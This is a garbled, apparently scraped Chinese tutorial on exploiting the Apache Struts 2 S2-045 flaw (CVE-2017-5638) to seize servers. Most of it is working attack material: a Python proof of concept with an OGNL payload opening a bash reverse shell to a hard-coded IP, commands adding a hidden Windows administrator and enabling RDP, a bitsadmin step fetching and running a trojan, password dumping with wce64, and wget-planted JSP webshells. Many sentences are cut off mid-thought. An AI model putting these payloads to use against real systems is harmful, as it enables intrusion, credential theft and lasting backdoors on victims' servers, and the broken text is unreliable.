1. 程式人生 > >如何快速利用s02-45漏洞獲取伺服器許可權

如何快速利用s02-45漏洞獲取伺服器許可權

伺服器框架之一。然而在Struts 2上發現存在高危安全漏洞(CVE-2017-5638,S02-45),該漏洞影響到:Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts2.5.10

修補方案:

和linux基本都是伺服器許可權。危害極大,可以肯定對很多人來說今晚一定是一個不眠之夜。

的webshell,儲存在網站上,例如可以是1.txt等文字檔案,可供網路下載。

版本,下載地址:https://www.python.org/downloads/release/python-2713/,根據作業系統的版本選擇安裝,安裝完成後第一次執行會出錯,需要安裝一個模組,如圖1

所示。需要安裝poster.encode模組,下載地址https://pypi.python.org/pypi/poster/,然後到該目錄執行pythonsetup.py install,進行安裝。注意python如果沒有設定系統變數,則需要帶完整路徑執行。例如:

去獲取各種action頁面,直接搜尋index.action、login.action、info.action等。

版本修改whoami值為:bash -i>& /dev/tcp/122.115.47.39/44330>&1

,埠為4433,然後將檔案儲存為poclinux.py,如圖2所示。也可以有其它一些常見的命令:id、whomai、cat /etc/passwd、cat/etc/shadow等。可以修改對應引數並保持不同名字即可。


2.對應Windows伺服器,修改whomai值為:

net user antian365$ Wsantian365!*/add

net localgroup administratorsantian365$  /add

分別將poc檔案儲存為pocwin1.py、pocwin2.py,如圖3所示。


1.3.3Windows下快速實施滲透

 1.對方開啟了3389

(1)掃描對方是否開啟3389,開啟了則分別執行:

如果對方存在漏洞,則會直接新增使用者“antian365$”,密碼“Wsantian365!*”,伺服器開啟了3389,登入上去然後下載wce64,直接wce64 –w獲取當前登入密碼,記得一定要使用管理員許可權執行。

(2)直接開啟3389

在那個引數中分別修改三次,執行以下程式碼三次,即可開啟3389.

wmic /namespace:\\root\cimv2\terminalservices pathwin32_terminalservicesetting where (__CLASS != "") callsetallowtsconnections 1

 wmic/namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

 reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f  

 3389開啟對條件是對方是獨立IP,如果是內網IP則情況第二種方法。

2.木馬執行法

(1)下載木馬

首先需要準備一個木馬程式,需要過win2008的。然後修改win.py中的whoami引數為:

bitsadmin /transfer myjob1/download /priority normal http://www.antian365.com/ma.exe c:\windows\temp\ma.exe

ma.exe儲存在www.antian365.com網站的根目錄,會直接下載到對方c:\windows\temp目錄下。

(2)執行木馬,修改poc的中whoami引數為ma.exe的真實路徑和地址,如下即可。執行儲存後的poc則會在原創執行之。

c:\windows\temp\ma.exe

1.3. 4Linux下快速滲透思路

  1.在獨立伺服器上執行監聽,需要在獨立IP伺服器上,執行“nc –vv–l –p 4433”後,可以執行連線一下這個IP的4433埠。比如http://www.antian365.com:4433,如果監聽埠有資料,則表示正常,否則請檢查防火牆規則。

2.執行poc

poclinux.py http://www.antian365.com/index.action,如果目標伺服器存在漏洞,則會反彈shell到監聽伺服器上,如圖4所示,直接獲取伺服器許可權。


3.獲取webshell

伺服器許可權比較不好操作,需要弄一個webshell,方法如下:

(1)尋找jsp檔案,執行以下命令:

locate *.jsp

(2)獲取網站真實路徑

尋找jsp檔案,找到以後應該有一個網站路徑,其路徑為opt/web/apps/zhsh/WebRoot/,如圖5所示。執行cd/opt/web/apps/zhsh/WebRoot/到網站目錄。


(3)下載webshell檔案

下載shell檔案:

複製1.txt為myma.jsp

 cp 1.txt myma.jsp

修改myma.jsp有執行許可權,如圖6所示。

chmod +x myma.jsp

(4)獲取webshell

熟悉的webshell出現了,如圖7所示,可以上傳檔案,執行命令等,如果再需要可以上傳大馬什麼的。


1.3.5實戰利用技巧

1.尋找jsp所有檔案

(1)locate命令

locate *.jsp

(2)find

find / -name php.ini

(3)where

whereis index.jsp

技巧:

(1)通過檢視網站的圖片檔名稱或者地址來尋找。通常是在新視窗開啟圖片地址,例如http://www.antian365.com/static/image/common/logo.gif,logo.gif即為關鍵資訊,可以用以下命令搜尋,第一和第二比較好,第三個比較耗費時間:

locate logo.gif

whereis logo.gif

find / -name logo.gif

(2)到jsp程式目錄,複製貼上(1)中獲取的地址,一般目錄多在webapps。

cd webapps

2.快捷下載程式並修改許可權方法

jspspy大馬下載,密碼:antian365

wgethttp://www.antian365.com/lab/s.txt

cp s.txts045.jsp

chmod +x s045.jsp

rm -rf s.txt

訪問網站的目錄即可獲取webshell。


原始碼:

#! /usr/bin/env python

# encoding:utf-8

# s02-45_poc.py s02-45_poc.pyhttp://www.antian365.com

import urllib2

import sys

from poster.encode importmultipart_encode

from poster.streaminghttp importregister_openers

 

def poc():

   register_openers()

   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})

   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"

   header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/122.115.47.39/4433 0>&1').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"

   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

   response = urllib2.urlopen(request)

   #print "reponse:\n"

   print response.read()

 

try:

  poc()

except Exception,e:

  printe

  exit(-1)

只需要將
#cmd='bash -i >& /dev/tcp/122.115.47.39/4433 0>&1'
改成想執行的其他程式碼即可執行任意命令